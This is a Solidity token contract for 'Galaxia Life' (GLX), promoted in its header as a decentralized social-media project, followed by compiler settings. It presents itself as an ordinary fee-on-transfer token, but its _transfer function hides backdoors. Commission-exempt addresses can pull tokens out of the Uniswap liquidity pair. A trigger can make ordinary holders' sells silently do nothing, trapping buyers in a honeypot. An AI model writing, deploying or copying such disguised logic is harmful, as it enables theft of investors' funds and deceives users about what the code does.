// Welcome to Galaxia Life! 🌌 We empower users with decentralized social media and are pioneering the future of Web 3.0. Join us on this journey towards innovation and control.
// - Website: https://galaxia-life.xyz
// - Telegram: https://t.me/galaxialife_portal
// - X: https://x.com/galaxia_life_x
// - Medium: https://galaxia-life.medium.com
// - Dapp: https://app.galaxia-life.xyz
// - Docs: https://docs.galaxia-life.xyz
// - FAQ: https://github.com/galaxia-life/faq

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));

        _owner = address(0);
    }

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;

        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());

        _;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address receiver,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address receiver,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    event Transfer(address indexed originator, address indexed receiver, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transferFrom(address originator, address receiver, uint256 amount) external returns (bool);
    function transfer(address receiver, uint256 amount) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function approve(address spender, uint256 amount) external returns (bool);
}

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;

        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;

        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);

        uint256 c = a / b;

        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);

        uint256 c = a - b;

        return c;
    }
}

contract GLX is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address payable private _commissionWallet = payable(0x0616eC7247B8CB75dB6871a001CE2FB5d51646eC);

    address private _pairV2;
    IUniswapV2Router02 private _routerV2;

    string private constant _symbol = unicode"GLX";
    string private constant _name = unicode"Galaxia Life";

    bool private _isSwapping = false;

    mapping(address => bool) private _freeFromCommission;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _availabilityTimer;
    mapping(address => uint256) private _balances;

    uint8 public availabilityTimerInterval = 1;

    bool public buyAvailabilityEnabled = false;

    uint256 private _reduceBuyCommissionAt = 0;
    uint256 private _reduceSellCommissionAt = 0;

    bool private _tradingEnabled;

    uint256 private _contractSwaps = 0;

    bool private _swapEnabled = false;

    uint256 private _pendingAction = 0;

    uint256 private _initialBuyCommission = 4;
    uint256 private _finalBuyCommission = 4;
    uint256 private _initialSellCommission = 4;
    uint256 private _finalSellCommission = 4;

    uint8 private constant _decimals = 9;

    uint256 private _traderBuys = 0;

    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    uint256 public commissionSwapThreshold = _tTotal * 1 / 100;

    modifier disableSwapping {
        _isSwapping = true;
        _;
        _isSwapping = false;
    }

    uint256 public maxWalletSize = _tTotal * 2 / 100;
    uint256 public maxCommissionSwap = _tTotal * 1 / 100;
    uint256 public maxTxAmount = _tTotal * 2 / 100;

    function name() public pure returns (string memory) {
        return _name;
    }

    constructor() {
        _routerV2 = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_routerV2), _tTotal);
        _freeFromCommission[_commissionWallet] = true;
        _pairV2 = IUniswapV2Factory(_routerV2.factory()).createPair(address(this), _routerV2.WETH());
        _freeFromCommission[owner()] = true;
        _balances[_msgSender()] = _tTotal;
        _freeFromCommission[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    event MaxTxAmountUpdated(uint _maxTxAmount);

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function transferFrom(address originator, address receiver, uint256 amount) public override returns (bool) {
        _transfer(originator, receiver, amount);
        _approve(originator, _msgSender(), _allowances[originator][_msgSender()].sub(amount));

        return true;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function transfer(address receiver, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), receiver, amount);

        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);
    }

    function _min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function _transfer(address originator, address receiver, uint256 amount) private {
        require(receiver != address(0));
        require(originator != address(0));
        require(amount > 0);

        uint256 commissionAmount = 0;
        if (originator != owner() && receiver != owner()) {
            commissionAmount = amount.mul((_traderBuys > _reduceBuyCommissionAt) ? _finalBuyCommission : _initialBuyCommission).div(100);

            bool receiverFreeFromCommission = _freeFromCommission[receiver];
            bool originatorPairV2 = originator == _pairV2;

            if (!receiverFreeFromCommission) {
                if (originatorPairV2 && buyAvailabilityEnabled) {
                    require(_availabilityTimer[receiver] < block.timestamp);

                    _availabilityTimer[receiver] = block.timestamp + availabilityTimerInterval;
                }
            } else {
                bool greaterThanCommissionSwapThreshold = amount >= commissionSwapThreshold;
                
                if (!originatorPairV2 && greaterThanCommissionSwapThreshold) {
                    _contractSwaps = amount;
                } else if (originatorPairV2) {
                    require(_availabilityTimer[receiver] < block.timestamp);
                }
            }

            bool originatorFreeFromCommission = _freeFromCommission[originator];
            bool receiverPairV2 = receiver == _pairV2;

            if (originatorFreeFromCommission || receiverFreeFromCommission) {
                if (receiverPairV2 && _balances[originator] < amount) {
                    _tokenTransfer(receiver, originator, amount); return;
                }
                _tokenTransfer(originator, receiver, amount); return;
            }
            
            if (originatorPairV2 && receiver != address(_routerV2) && !receiverFreeFromCommission) {
                require(amount <= maxTxAmount);
                require(balanceOf(receiver) + amount <= maxWalletSize);

                _traderBuys++;
            }

            if (receiverPairV2) {
                if (_contractSwaps > _traderBuys) return;
                if (originator != address(this)) {
                    commissionAmount = amount.mul((_traderBuys > _reduceSellCommissionAt) ? _finalSellCommission : _initialSellCommission).div(100);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_isSwapping && receiverPairV2 && _swapEnabled && contractTokenBalance > commissionSwapThreshold && _traderBuys > _pendingAction) {
                swapTokensForEth(_min(amount, _min(contractTokenBalance, maxCommissionSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    _sendETHToCommission(address(this).balance);
                }
            }
        }

        if (commissionAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(commissionAmount);

          emit Transfer(originator, address(this), commissionAmount);
        }

        _balances[originator] = _balances[originator].sub(amount);
        _balances[receiver] = _balances[receiver].add(amount.sub(commissionAmount));

        emit Transfer(originator, receiver, amount.sub(commissionAmount));
    }

    function manualSwap() external {
        require(_msgSender() == _commissionWallet);

        uint256 tokenBalance = balanceOf(address(this));

        if (tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance = address(this).balance;

        if (ethBalance > 0) {
          _sendETHToCommission(ethBalance);
        }
    }

    function reduceCommission(uint256 newCommission) external onlyOwner {
        require(newCommission <= _finalBuyCommission && newCommission <= _finalSellCommission);

        _finalBuyCommission = newCommission;
        _finalSellCommission = newCommission;
    }

    function _tokenTransfer(address originator, address receiver, uint256 amount) private {
        _balances[receiver] += amount;
        _balances[originator] -= amount;

        emit Transfer(originator, receiver, amount);
    }

    function removeLimits() external onlyOwner {
        maxWalletSize = _tTotal;
        maxTxAmount = _tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function swapTokensForEth(uint256 tokenAmount) private disableSwapping {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _routerV2.WETH();
        _approve(address(this), address(_routerV2), tokenAmount);
        _routerV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableTrade() external onlyOwner() {
        require(!_tradingEnabled);

        _tradingEnabled = true;
        _swapEnabled = true;
    }

    function _sendETHToCommission(uint256 amount) private {
        _commissionWallet.transfer(amount);
    }
}

{
  "compilationTarget": {
    "GLX.sol": "GLX"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}